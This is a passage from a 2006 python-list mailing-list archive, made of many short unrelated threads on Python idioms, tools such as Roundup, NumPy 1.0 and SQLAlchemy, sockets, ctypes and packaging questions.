> > typed with just the top-row of keys
> > '^[qwertyuiop]*$'
>
> The longest being "typewriter" :)

Maybe you should say "amongst the longest"

pepperwort
perpetuity
perruquier
pirouetter
proprietor
repertoire
typewriter

But even that would be wrong.

rupturewort

> 
> 
> 
> hey, look, it's Friday



From fredrik at pythonware.com  Thu Oct  5 13:38:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 19:38:10 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <f4rfv3-vhg.ln1@nb2.stroeder.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org>	<mailman.1155.1159876666.10491.python-list@python.org>	<mailman.1163.1159879479.10491.python-list@python.org>	<fxJUg.134222$zy5.1829414@twister1.libero.it>	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>	<eg0bo2$obu$1@nnrp.ngi.it>
	<45240FD5.3050705@v.loewis.de>	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com>
Message-ID: <eg3fu2$veo$1@sea.gmane.org>

Michael Str?der wrote:

> Glancing over this thread I wonder what these people are supposed to do.
> Any list of requirements available?

from the original announcement (linked from the first post in this thread):

   "In order for Roundup to be considered equivalent in terms of an
   overall tracker package there needs to be a sufficient number of
   volunteer admins (roughly 6 - 10 people) who can help set up and
   maintain the Roundup installation. /.../

   If people want Roundup to be considered the tracker we go with by
   volunteering to be an admin, please email infrastructure at python.org
   and state your time commitment, the timezone you would be working
   from, and your level of Roundup knowledge.  Please email the committee
   by October 16."

</F>



From kent at kentsjohnson.com  Tue Oct 17 15:37:14 2006
From: kent at kentsjohnson.com (Kent Johnson)
Date: Tue, 17 Oct 2006 19:37:14 GMT
Subject: command text parsing and hints displaying on user input.
In-Reply-To: <1160983157.270102.68630@m73g2000cwd.googlegroups.com>
References: <1160983157.270102.68630@m73g2000cwd.googlegroups.com>
Message-ID: <453530EA.4080308@kentsjohnson.com>

Andy wrote:
> Hi guys,
> 
> I'm writing a program with a feature of accepting user input as command
> text and parsing it to correct function calls...example:
> 
> "5 minutes later"/"5 min later"/"5 minute later"/"after 5 minutes"...
> are being parsed as the same rule so the system will call a later
> function with minutes=5 as parameter.

Maybe one of these will help:
http://cheeseshop.python.org/pypi/parsedatetime/0.7.4
http://cheeseshop.python.org/pypi/when/1

Kent


From cjw at sympatico.ca  Thu Oct 26 08:29:29 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Thu, 26 Oct 2006 08:29:29 -0400
Subject: What's the best IDE?
In-Reply-To: <d25b6e9a0610251640w4c852bc2ye67e98aad533e1a9@mail.gmail.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<d25b6e9a0610251640w4c852bc2ye67e98aad533e1a9@mail.gmail.com>
Message-ID: <ehq9na$p8g$1@sea.gmane.org>

Josh Bloom wrote:
> I'm not going to call it the 'best' ide as thats just silly.
> 
> But if your developing on Windows pyscripter 
> http://mmm-experts.com/Products.aspx?ProductId=4 is a great IDE.
> 
> -Josh
> 
+1

Colin W.



From manuelg at gmail.com  Wed Oct 25 13:02:56 2006
From: manuelg at gmail.com (manuelg)
Date: 25 Oct 2006 10:02:56 -0700
Subject: Python's CRT licensing on Windows <-- FUD
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
	<mailman.1184.1161791523.11739.python-list@python.org>
	<1161794422.707799.273200@b28g2000cwb.googlegroups.com>
Message-ID: <1161795776.146696.253500@e3g2000cwe.googlegroups.com>

sturlamolden wrote:

> I certainly don't understand the EULA, and thus I cannot make sure that
> I lawyer understands it either. But I can certainly find a lawyer that
> charges $$$$ an hour and pretends to understand it. I am sure buying a
> copy of VC7 is a lot cheaper.

When you buy that copy of VC7, buy me one too.  By your logic, it will
_still_ be cheaper than $$$$ for a lawyer, so you win!

Thanks in advance!



From fredrik at pythonware.com  Tue Oct  3 05:06:44 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 11:06:44 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eft78f$put$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<eft78f$put$1@sea.gmane.org>
Message-ID: <eft974$1au$1@sea.gmane.org>

Robert Kern wrote:

>> Does this smell "Bitkeeper fiasco" to anyone else than me?
> 
> No.

that's just not true.  lots of people have voiced concerns over using 
closed-sourced stuff originally designed for enterprise-level Java users 
for an application domain where Python has several widely used agile 
alternatives to chose from.

if they hadn't done so, there probably wouldn't have been an evaluation 
period in the first place.

</F>



From keir.robinson at gmail.com  Wed Oct  4 09:34:53 2006
From: keir.robinson at gmail.com (keirr)
Date: 4 Oct 2006 06:34:53 -0700
Subject: dictionary of list from a file
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
Message-ID: <1159968893.610330.151600@b28g2000cwb.googlegroups.com>

andrea.spitaleri at gmail.com wrote:
<snip perl example code>
> in python I tried:
> b={}
> a=[]
> for line in fl.readlines():
>          info=lines.split()
>          b[info[0]] = a.append(info[1])
>
> and then
> for i in b:
>      print i,b[i]
> i get
> 2 None
> 7 None
>
> data file is:
> 2 1
> 2 2
> 2 3
> 2 4
> 7 7
> 7 8
> 7 9
> 7 10
>
> Any help??
Andrea,
 first the append method returns None, as you have discovered; it makes
an inplace update (to a in your example) but does not return the list
it has updated.   This has surprised a few people in the past :-)
Here is what I've used before for updating lists values in a
dictionary.

d[key] = d.get(key, []) + [value]

where d is a dict(ionary)

Hope this helps.

 Keir.



From gagsl-py at yahoo.com.ar  Wed Oct 18 18:11:31 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 19:11:31 -0300
Subject: Getting method name from within the class method
In-Reply-To: <20061018145926.0e8d3277@opal.pathscale.com>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<20061018145926.0e8d3277@opal.pathscale.com>
Message-ID: <7.0.1.0.0.20061018191106.056f6e38@yahoo.com.ar>

At Wednesday 18/10/2006 18:59, Mitko Haralanov wrote:

> > >>> class test(object):
> > ...  def a_method(self,this,that):
> > ...   print self.a_method.__name__
>
>Doing the above will obviously work!
>
>However, I don't want to have to use the name of the function in the
>print statement (the ".a_method." part). Imagine having about 100 of
>the above print statements in the function and then you change the name
>of the function. I want all 100 of the print statements to work without
>having to change every one of them to reflect the new function name.

Use the inspect module.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From nogradi at gmail.com  Thu Oct  5 15:09:52 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Thu, 5 Oct 2006 21:09:52 +0200
Subject: CGI Tutorial
In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <5f56302b0610051209w731a6cc6s3f67a1f13dcafcae@mail.gmail.com>

> I'm just building a Python CGI Tutorial and would appreciate any
> feedback from the many experts in this list.
>
> Regards, Clodoaldo Pinto Neto
>

Perhaps you want to post this to the mod_python list as well:
http://mailman.modpython.org/mailman/listinfo/mod_python


From tim.golden at viacom-outdoor.co.uk  Mon Oct  9 10:13:43 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 9 Oct 2006 15:13:43 +0100
Subject: file system iteration
In-Reply-To: <egdku5$3so$1@solaris.cc.vt.edu>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B500@vogbs009.gb.vo.local>

[Rick]
| Searching for a file by name. Scanning for viruses. Etc. 
| There are lots 
| of legitimate reason to walk all paths from a central 
| starting point, no???

Well, to get you started, I think this is the kind
of thing you'll want. Uses ctypes, which is built-in
to Python 2.5 so presumably legit.

<code>
import ctypes
import string

GetDriveType = ctypes.windll.kernel32.GetDriveTypeA

for letter in string.uppercase:
  print letter, "=>", GetDriveType ("%s:" % letter)

</code>

You'll have to refer to 

http://windowssdk.msdn.microsoft.com/en-us/library/ms685874.aspx

and various headers to get the values in question, but they
look quite straightforward at a glance.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From hanumizzle at gmail.com  Fri Oct 13 10:28:00 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 10:28:00 -0400
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <452cd0df$0$11417$426a74cc@news.free.fr>
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>
	<egic47$irg$1@sea.gmane.org>
	<mailman.296.1160558036.11739.python-list@python.org>
	<452cd0df$0$11417$426a74cc@news.free.fr>
Message-ID: <463ff4860610130728sa3ebe7am4f9ee192a14c49c7@mail.gmail.com>

On 10/11/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
> Theerasak Photha wrote:
> > On 10/11/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> >
> >> can be a lot better than a 30-level traceback that ends with a line
> >> looking something like
> >>
> >>      fnut.index(gah)
> >
> > Despite long experience with Perl, I am not a big follower of the
> > "goose_level: blah" method of error reporting...
> >
> >> also, checking for __method__ is, in general, not the right way to check
> >> if an object implements a given interface.
> >
> > I had a vague feeling it might not be a Right Thing(tm).
> > <flame-proof-underwear>I kind of miss
> > responds_to?</flame-proof-underwear>
>
> getattr(obj, name[,default]) is your friend. Remember that methods are
> just callable attributes.

I am familiar with getattr from the Introspection material in Dive
into Python of course.

Earlier in the thread we decided that using getattr is the Wrong
Way(tm) to decide whether an object has such and such operation
(respond_to?) because implementation details can hide this.

So I learned the best thing to do is Suck It And See (an electrical
joke, not a penis joke, BION) aka EAFP.

I just found out Ruby isn't much better in this regard:

class Foo
  def self.method_missing(meth, *args)
    puts meth
  end
end

Foo.bar()
puts Foo.respond_to?(:bar)

===>
bar
false

WTF?

-- Theerasak


From python.list at tim.thechases.com  Wed Oct 18 12:37:25 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 18 Oct 2006 11:37:25 -0500
Subject: Dictionaries
In-Reply-To: <1161188023.121408.194870@m7g2000cwm.googlegroups.com>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>	<mailman.699.1161186279.11739.python-list@python.org>
	<1161188023.121408.194870@m7g2000cwm.googlegroups.com>
Message-ID: <45365845.8030103@tim.thechases.com>

> However It does not work as I would need.
> Let's suppose I have
> 
>  a={'c':1,'d':2}
>  b={'c':2}
> but
>  a.update(b)
> will make
> {'c': 2, 'd': 2}
> 
> and I would need
> {'c': 3, 'd': 2}

Ah...a previously omitted detail.

There are likely a multitude of ways to do it.  However, the one 
that occurs to me off the top of my head would be something like

dict((k, a.get(k, 0) + b.get(k, 0)) for k in a.keys()+b.keys())


If the sets are huge, you can use itertools

 >>> from itertools import chain
 >>> dict((k, a.get(k, 0) + b.get(k, 0)) for k in 
chain(a.keys(),b.keys()))
{'c': 3, 'd': 2}

which would reduce the need for creating the combined dictionary, 
only to throw it away.

-tkc







From fredrik at pythonware.com  Sun Oct 22 07:47:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 13:47:22 +0200
Subject: Py 2.5: Bug in sgmllib
In-Reply-To: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net>
References: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net>
Message-ID: <ehfloa$l04$1@sea.gmane.org>

Michael Butscher wrote:


> if I execute the following two lines in Python 2.5 (to feed in a 
> *unicode* string):
> 
> import sgmllib
> sgmllib.SGMLParser().feed(u'<a title="te&#223;t"></a>')

source documents are encoded byte streams, not decoded Unicode 
sequences.  I suggest reading up on how Python's Unicode string
type is, and what a Unicode string represents.  it's not the same
thing as a byte string.

</F>



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Thu Oct 26 12:49:24 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Thu, 26 Oct 2006 18:49:24 +0200
Subject: Printing Hidden Character in Python
References: <mailman.1254.1161852239.11739.python-list@python.org>
Message-ID: <4qc78kFm34hdU2@individual.net>

Wijaya Edward wrote:

> How can we print out the hidden character like
> "\n", "\r" etc in Python?

Try

repr(var)[1:-1]

CMIIW. :)

Regards,


Bj?rn

-- 
BOFH excuse #271:

The kernel license has expired



From irmen.NOSPAM at xs4all.nl  Fri Oct 27 13:28:46 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Fri, 27 Oct 2006 19:28:46 +0200
Subject: How set the source IP adress
In-Reply-To: <ehstmq$mm8$1@news.lucky.net>
References: <ehstmq$mm8$1@news.lucky.net>
Message-ID: <454241d1$0$327$e4fe514c@news.xs4all.nl>

Maksim Kasimov wrote:
> Hi,
> 
> how to set source ip-address when do __socket.connect((host, port))
> on a machine that have a several ip-adresses?
> 
> many thanks for advice.
> 
> __socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> __socket.connect((host, port))
> 
> 

sock.connect ( ('11.22.33.44', 9999) )

i.e. just put the ip address as string parameter into the connect address tuple
(where you wrote: host)

--Irmen


From metaperl.etc at gmail.com  Wed Oct  4 03:34:13 2006
From: metaperl.etc at gmail.com (metaperl.etc at gmail.com)
Date: 4 Oct 2006 00:34:13 -0700
Subject: Roundup Issue Tracker release 1.1.3
In-Reply-To: <mailman.1219.1159933673.10491.python-list@python.org>
References: <mailman.1219.1159933673.10491.python-list@python.org>
Message-ID: <1159947253.283452.178580@b28g2000cwb.googlegroups.com>


Richard Jones wrote:
> I'm proud to release version 1.1.3 of Roundup.
> five database back-ends (anydbm, sqlite, metakit,
> mysql and postgresql).

That ORM is pretty impressive:
http://roundup.sourceforge.net/doc-1.0/design.html#roundup-database

I like how easy it is to specify m-to-n relations.

Is it possible to have a table with a multi-column primary key?



From apardon at forel.vub.ac.be  Fri Oct 27 06:09:27 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 10:09:27 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
Message-ID: <slrnek3mmn.aqe.apardon@rcpc42.vub.ac.be>

On 2006-10-26, Steve Holden <steve at holdenweb.com> wrote:
> John Coleman wrote:

>> As far as using non-booleans as conditions - I just think that if you
>> want a certain block of code to be executed only if, for example, a
>> list is non-empty, why not *say* so? I think "if my_list != []:" just
>> reads better than "if my_list:". I would think that my preferences
>> there mesh with "Explicit is better than implicit" but apparently not.
>> 
> Maybe so, but that "rule" (and let's not forget that the zen is not 
> actually a set of prescriptive rules but rather guidelines for the 
> informed) is immediately preceded by the most important "rule" of all: 
> "Beautiful is better than ugly". Nobody will shout at you (well, 
> hopefully, not on this list they won't) for writing
>
>    if my_list != []:
>      ...

That depends on what you consider as shouting. My impression is that
if people come here with a problem and post a sample of code to
illustrate. That if that code would contain something like the above
about half of the responses will be about the code not following
python idiom without further providing anything helpfull with the actual
problem. Now you may not consider that as shouting but I guess it
can be just as intimidating.

>> 
> It probably will, but I wouldn't get too hung up on what's definitely a 
> small point. Enjoy Python the way it is, and the way you are. You and 
> Python will definitely come to an accommodation (and you will love the 
> combination of discipline and freedom that it brings to programming 
> style). Welcome to the language!

I'll second that. Python has it warts, but so has any language.
Chances are John will find the warts of python are minor
issues compared with other languages.

-- 
Antoon Pardon


From carsten at uniqsys.com  Fri Oct 20 15:40:34 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Fri, 20 Oct 2006 15:40:34 -0400
Subject: why does this unpacking work
In-Reply-To: <1161373060.23516.67.camel@dot.uniqsys.com>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161373060.23516.67.camel@dot.uniqsys.com>
Message-ID: <1161373233.23516.69.camel@dot.uniqsys.com>

On Fri, 2006-10-20 at 15:37, Carsten Haese wrote:
> for x in t:
>   y,z = t
>   # do something with y and z

Typo here, of course I mean y,z = x.

-Carsten




From oliphant.travis at ieee.org  Thu Oct 26 13:24:25 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Thu, 26 Oct 2006 11:24:25 -0600
Subject: [ANN] NumPy 1.0 release
Message-ID: <4540EF49.1040605@ieee.org>


We are very pleased to announce the release of NumPy 1.0 available for 
download at http://www.numpy.org

This release is the culmination of over 18 months of effort to allow 
unification of the Numeric and Numarray communities.  NumPy provides the 
features of both packages as well as comparable speeds in the domains 
where both were considered fast --- often beating both packages on 
certain problems.  If there is an area where we can speed up NumPy then 
we are interested in hearing about the solution.

NumPy is essentially a re-write of Numeric to include the features of 
Numarray plus more.   NumPy is a C-based extension module to Python that 
provides an N-dimensional array object (ndarray), a collection of fast 
math functions, basic linear algebra, array-producing random number 
generators, and basic Fourier transform capabilities.

Also included with NumPy are:

1) A data-type object.  The data-type of all NumPy arrays are defined by 
a data-type object that describes how the block of memory that makes up 
an element of the array is to be interpreted.  Supported are all basic 
C-types, structures containing C-types, arrays of C-types, and 
structures containing structures of C-types.  Data-types can also be in 
big or little-endian order.  NumPy arrays can therefore be constructed 
from any regularly-sized chunk of data.  A chunk of data can also be a 
pointer to a Python object and therefore Object arrays can be 
constructed (including record arrays with object members).

2) Array scalars: there is a Python scalar object (inheriting from the 
standard object where possible) defined for every basic data-type that 
an array can have.

2) A matrix object so that '*' is re-defined as matrix-multiplication 
and '**' as matrix-power.

3) A character array object that can replace Numarray's similarly-named 
object.  It is basically an array of strings (or unicode) with methods 
matching the string and unicode methods.

4) A record array that builds on the advanced data-type support of the 
basic array object to allow field access using attribute look-up as well 
as to provide more ways to build-up a record-array.

5) A memory-map object that makes it easier to use memory-mapped areas 
as the memory for an array object.

6) A basic container class that uses the ndarray as a member.  This 
often facilitates multiple-inheritance.

7) A large collection of basic functions on the array.

8) Compatibility layer for Numeric including code to help in the 
conversion to NumPy and full C-API support.

9) Compatibility layer for NumPy including code to help in the 
conversion to NumPy and full C-API support.


NumPy can work with Numeric and Numarray installed and while the three 
array objects are different to Python, they can all share each other's 
data through the use of the array interface.

As the developers for Numeric we can definitively say development of 
Numeric has ceased as has effective support.  You may still find an 
answer to a question or two and Numeric will be available for download 
as long as Sourceforge is around so and code written to Numeric will 
still work, but there will not be "official" releases of Numeric for 
future versions of Python (including Python2.5).

The development of NumPy has been supported by the people at STScI who 
created Numarray and support it.  They have started to port their 
applications to NumPy and have indicated that support for Numarray will 
be phased out over the next year.

You are strongly encouraged to move to NumPy.  The whole point of NumPy 
is to unite the Numeric/Numarray development and user communities.  We 
have done our part in releasing NumPy 1.0 and doing our best to make the 
transistion as easy as possible.  Please support us by adopting NumPy. 
If you have trouble with that, please let us know why so that we can 
address the problems you identify.  Even better, help us in fixing the 
problems.

New users should download NumPy first unless they need an older package 
to work with third party code.  Third-party package writers should 
migrate to use NumPy.  Though it is not difficult, there are some things 
that have to be altered.  Several people are available to help with that 
process, just ask (we will do it free for open source code and as 
work-for-hire for commercial code).


This release would not have been possible without the work of many 
people.   Thanks go to (if we have missed your contribution please let 
us know):

   * Travis Oliphant for the majority of the code adaptation (blame him 
for code problems :-) )
   * Jim Hugunin, Paul Dubois, Konrad Hinsen, David Ascher, Jim Fulton 
and many others  for Numeric on which the code is based.
   * Perry Greenfield, J Todd Miller, Rick White, Paul Barrett for 
Numarray which gave much inspiration and showed the way forward.
   * Paul Dubois for Masked Arrays
   * Pearu Peterson for f2py and numpy.distutils and help with code 
organization
   * Robert Kern for mtrand, bug fixes, help with distutils, code 
organization, and much more.
   * David Cooke for many code improvements including the auto-generated 
C-API and optimizations.
   * Alexander Belopolsky (Sasha) for Masked array bug-fixes and tests, 
rank-0 array improvements, scalar math help and other code additions
   * Francesc Altet for unicode and nested record tests and much help 
with rooting out nested record array bugs.
   * Tim Hochberg for getting the build working on MSVC, optimization 
improvements, and code review
   * Charles Harris for the sorting code originally written for Numarray 
and for improvements to polyfit, many bug fixes, and documentation strings.
   * Robert Cimrman for numpy.distutils help and the set-operations for 
arrays
   * David Huard for histogram code improvements including 2-d and d-d code
   * Eric Jones for sundry subroutines borrowed from scipy_base
   * Fernando Perez for code snippets, ideas, bugfixes, and testing.
   * Ed Schofield for matrix.py patches, bugfixes, testing, and docstrings.
   * John Hunter for code snippets (from matplotlib)
   * Chris Hanley for help with records.py, testing, and bug fixes.
   * Travis Vaught, Joe Cooper, Jeff Strunk for administration of 
numpy.org web site and SVN
   * Andrew Straw for bug-reports and help with www.scipy.org
   * Albert Strasheim for bug-reports, unit-testing and Valgrind runs
   * Stefan van der Walt for bug-reports, regression-testing, and 
bug-fixes.
   * Eric Firing for bugfixes.
   * Arnd Baecker for 64-bit testing
   * A.M. Archibald for code that decreases the number of times reshape 
makes a copy.


More information is available at http://numpy.scipy.org and 
http://www.scipy.org.  Bug-reports and feature requests should be 
submitted as tickets to the Trac pages at 
http://projects.scipy.org/scipy/numpy/
As an anti-SPAM measure, you must create an account in order to post 
tickets.


Enjoy the new release,

Sincerely,
The NumPy Developers



*Disclaimer*:  The main author, Travis Oliphant, has written a 350+ page 
book entitled "Guide to NumPy" that documents the new system fairly 
thoroughly.  The first two chapters of this book are available on-line 
for free, but the remainder must be purchased (until 2010 or a certain 
number of total sales has been reached).  See http://www.trelgol.com for 
more details. There is plenty of free documentation available now for 
NumPy, however.  Go to http://www.scipy.org for more details.



From steve at holdenweb.com  Sat Oct 21 09:21:39 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 21 Oct 2006 14:21:39 +0100
Subject: SQLAlchemy and py2exe
In-Reply-To: <Xns98633178E43F8mosornet@161.53.160.64>
References: <Xns98633178E43F8mosornet@161.53.160.64>
Message-ID: <ehd6rq$fah$1@sea.gmane.org>

Karlo Lozovina wrote:
> I've installed SQLAlchemy under Windows (strangely, it didn't install 
> inside ../site-packages/ as a directory, but rather as a 
> SQLAlchemy-0.2.8-py2.4.egg file). I can import it with 'import 
> sqlalchemy' and run my program with WingIDE, SPE and ofcourse in plain old 
> Python shell (ipython actually).
> 
> But when I build my .exe using py2exe and run the executable, it fails 
> with 'Cannot import module sqlalchemy' error. Is it because SA is 
> installed inside a .egg file, and can I somehow force it to install like 
> all the other packages?
> 
> Thanks guys...
> 
http://mail.python.org/pipermail/distutils-sig/2005-August/004945.html\

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From sjmachin at lexicon.net  Mon Oct  2 08:35:56 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 05:35:56 -0700
Subject: Python/UNO/OpenOffice?
In-Reply-To: <mailman.1085.1159790247.10491.python-list@python.org>
References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
	<mailman.1085.1159790247.10491.python-list@python.org>
Message-ID: <1159792556.813570.10480@k70g2000cwa.googlegroups.com>


Colin J. Williams wrote:

> I've done some small things with Python/OpenOffice, using Windows XP.
> They appear to work OK.

As you might have noticed from my earlier post, I can't get off the
ground. Can you please give an example (with code) of a "small thing"
that works OK?

TIA,
John



From http  Mon Oct  2 11:12:52 2006
From: http (Paul Rubin)
Date: 02 Oct 2006 08:12:52 -0700
Subject: Sort by domain name?
References: <mailman.1094.1159801691.10491.python-list@python.org>
Message-ID: <7xmz8ekayz.fsf@ruckus.brouhaha.com>

"js " <ebgssth at gmail.com> writes:
> Here, domain name doesn't contain subdomain,
> or should I say, domain's part of 'www', mail, news and en should be
> excluded.

It's a little more complicated, you have to treat co.uk about 
the same way as .com, and similarly for some other countries
but not all.  For example, subdomain.companyname.de versus
subdomain.companyname.com.au or subdomain.companyname.co.uk.
You end up needing a table or special code to say
how to treat various countries.


From jstroud at mbi.ucla.edu  Sun Oct  1 19:04:35 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 01 Oct 2006 23:04:35 GMT
Subject: how to reuse class deinitions?
In-Reply-To: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
Message-ID: <7QXTg.8890$e66.2124@newssvr13.news.prodigy.com>

sam wrote:
> hello all,
> 
> pretty straightforward question here, i think. i'm experimenting with
> classes and have written a File class that looks like it's worth
> keeping for future use. however, i cannot work out where to put it for
> this purpose or how to get it in.
> 
> i figured i'd try a bit of (un)inspired guesswork by putting it in my
> module folder, appending sys.path to tell the interpreter where this
> was, and importing it like a module. probably don't need to tell you
> that that didn't work, but i'm drawing a blank in the tutorial and not
> getting any luck in the archives here. maybe i'm just not searching
> with the right words. it's late here and my brain's switching off...
> 
> cutting and pasting it into the interpreter is a bit of a bore. any
> help?
> 
> much appreciated in advance,
> 
> sam
> 
> PS i've just reached first base with classes, and i think i'm starting
> to see what the big deal is about OOP. it's like someone's turned a
> light on.
> 

Here's how I do it. This seems to work pretty well for me. More seasoned 
programmers may have better ways.

1. Develop modules (packages) in a folder called something
    like "~/Code".

2. Name the directory the same name as the module or package.

3. See this for packages and modules how-to:

    http://docs.python.org/tut/node8.html

    You basically will want to think in terms of packages if you use
    my method.

4. Now, set up your $PYTHONPATH environment variable to point at
    the "~/Code" directory. Here's how you do it in UNIX (ask a DOS
    guru for how to do it DOS). This if for your ~/.tcshrc file or
    ~/.cshrc file (whichever you use):

        setenv PYTHONPATH /path/to/Code

    This is for a ~/.bashrc file:

        PYTHONPATH=/path/to/Code
        export PYTHONPATH

    If you have already set $PYTHONPATH somewhere else, then you probably
    don't need me to tell you how to include "/path/to/Code" in it.

5. Open a new shell so the $PYTHONPATH gets set correctly for your rc
    file.

6. Now, start python in that shell and import your packages.

Congratulations! You have now setup an environment where all the code
you write becomes packages and re-usable. Why a similar recipe isn't in 
every tutorial or beginning python book, I haven't a clue because it 
saves hella time figuring out exactly what you have asked here.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From bruno at modulix.org  Mon Oct 23 16:42:49 2006
From: bruno at modulix.org (bruno de chez modulix en face)
Date: 23 Oct 2006 13:42:49 -0700
Subject: HTML Templates (Sitemesh/Tiles concept) in Python
In-Reply-To: <1161627774.471594.223360@m7g2000cwm.googlegroups.com>
References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
	<453d02a7$0$15559$426a34cc@news.free.fr>
	<1161627774.471594.223360@m7g2000cwm.googlegroups.com>
Message-ID: <1161636169.073683.92070@i3g2000cwc.googlegroups.com>


Suren a ?crit :

> > Python with ? CGI ? FastCGI ? mod_python ? Other ?
>
> We are using mod_python and SSI.
>
> We are inheriting some legacy code
> that we do not want to mess with at all.

Ok.

> > You shouldn't - unless this is an internal web-based application, not a
> > public site. Since your dynamically generating the pages, there's no
> > gain using frames - but there are huge drawbacks, for the programmers as
> > well as for the visitors.
>
> Although not an internal site, this site is going to be in a controlled
> environment. Only a handful of people may access the website.

So the drawbacks of frames may not be a definitive show-stopper.
Anyway, and unless going thru useless complications, frames still have
at least 2 big problems : you cannot bookmark pages, and you cannot be
sure the use will see the effective content thru the "framed"  page.
The main use case for frames is (was ?) to avoid duplicating the same
set of common elements (menus, header, footer etc) on each and evry
page of a site. With dynamic page generation and template systems, this
is no more a problem, so I see very few reasons to still use them.

(snip)

> >
> > > Any other tips to help life easier are appreciated.
> >
> > Have you considered using one of the existing python web development
> > libraries/frameworks? Like Pylons, Turbogears, Django, Spyce, Karigell,
> > etc, etc, etc, etc...
> >
> We have not considered a framework coz the legacy code base has not
> included one. We are living in the same source structure and did not
> want to introduce a newer dependency. I hope we can find a
> non-intrusive library/framework that does its job.

Hard to tell what would be more appropriate without knowledge of the
existing code base and architecture... Anyway, both Jinja and Genshi
are relatively easy to setup and get started with. Mighty is a much
more complex and powerful beast (it's almost a whole web-components
framework by itsef).
 
My 2 cents



From steve at holdenweb.com  Sun Oct  8 06:03:14 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 08 Oct 2006 11:03:14 +0100
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <eg98qb$6a3$1@lust.ihug.co.nz>
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu>	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
Message-ID: <egaibb$21c$1@sea.gmane.org>

Lawrence D'Oliveiro wrote:
> In message <mailman.912.1159494600.10491.python-list at python.org>, Steve
> Holden wrote:
> 
> 
>>John Machin wrote:
>>
>>[lots of explanation about peculiarities of people's names]
